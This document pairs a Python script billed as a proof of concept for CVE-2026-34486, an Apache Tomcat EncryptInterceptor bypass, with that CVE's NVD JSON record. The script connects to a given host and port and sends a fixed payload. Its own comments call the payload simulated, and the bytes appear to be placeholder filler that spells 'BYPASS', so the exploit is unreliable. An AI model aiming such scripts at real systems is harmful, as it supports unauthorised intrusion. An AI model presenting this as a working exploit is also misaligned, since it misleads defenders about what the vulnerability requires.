CVE-2026-34486

#!/usr/bin/env python3 """ PoC for CVE-2026-34486 (Apache Tomcat EncryptInterceptor Bypass) This script demonstrates sending a crafted packet that bypasses the encryption check. Note: Actual packet structure depends on the specific Tomcat configuration. """ import socket import sys def send_exploit(target_host, target_port): print(f"[*] Connecting to {target_host}:{target_port}...") try: # Establish a TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Crafted payload designed to bypass EncryptInterceptor # This simulates sending unencrypted data that should have been encrypted # The specific bytes would depend on the Tomcat protocol being used (e.g., Tribes clustering) payload = b"\x00\x15\x42\x59\x50\x41\x53\x53\x00\x00\x00\x01\x00\x00\x00\x00" print("[*] Sending crafted payload to bypass EncryptInterceptor...") s.send(payload) # Receive response response = s.recv(4096) print("[+] Received response:") print(response) # Check if data looks like unencrypted sensitive info (simulated) if b"sensitive" in response.lower(): print("[!] Potential sensitive data leaked!") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python3 {sys.argv[0]} <host> <port>") sys.exit(1) HOST = sys.argv[1] PORT = int(sys.argv[2]) send_exploit(HOST, PORT)

{"cve": {"id": "CVE-2026-34486", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:25.063", "lastModified": "2026-04-14T12:45:40.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor.\n\nThis issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.\n\nUsers are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-311"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.116:*:*:*:*:*:*:*", "matchCriteriaId": "CC160F23-A9D6-42DA-92E6-886B1B1F48A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:10.1.53:*:*:*:*:*:*:*", "matchCriteriaId": "0E7A0CE9-EBDF-4305-9C06-E7D4521AF422"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.20:*:*:*:*:*:*:*", "matchCriteriaId": "64BAAE4D-2355-43D8-83E5-01CA71D5DC0B"}]}]}], "references": [{"url": "https://lists.apache.org/thread/9510k5p5zdvt9pkkgtyp85mvwxo2qrly", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}]}}